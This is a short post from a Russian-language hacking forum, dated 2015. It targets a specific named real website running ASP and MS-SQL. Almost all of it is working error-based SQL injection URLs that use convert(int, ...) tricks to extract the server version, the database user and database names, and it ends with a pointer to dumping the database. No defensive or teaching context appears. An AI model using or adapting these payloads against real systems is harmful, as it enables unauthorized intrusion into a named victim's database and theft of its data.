Показать сообщение отдельно

  #4  
Старый 10.07.2015, 07:02
ocheretko
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами: 8417383

Репутация: 0
По умолчанию

ASP, MS-SQL

Тип атаки: Convert INT ODBC Error

Код:
Версия - http://nchla.org/issues.asp?ID=1+and+1=convert(int,@@version)--
Код:
Пользователь http://nchla.org/issues.asp?ID=1+and+1=convert(int,user_name())--
Код:
База данных http://nchla.org/issues.asp?ID=1+and+1=convert(int,db_name())--
Код:
Перебираем имена баз данных
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(0))--
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(1))--
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(2))--
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(3))--
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(4))--
http://nchla.org/issues.asp?ID=1+and+1=convert(int,DB_NAME(5))--
Ну и дамп

 
Ответить с цитированием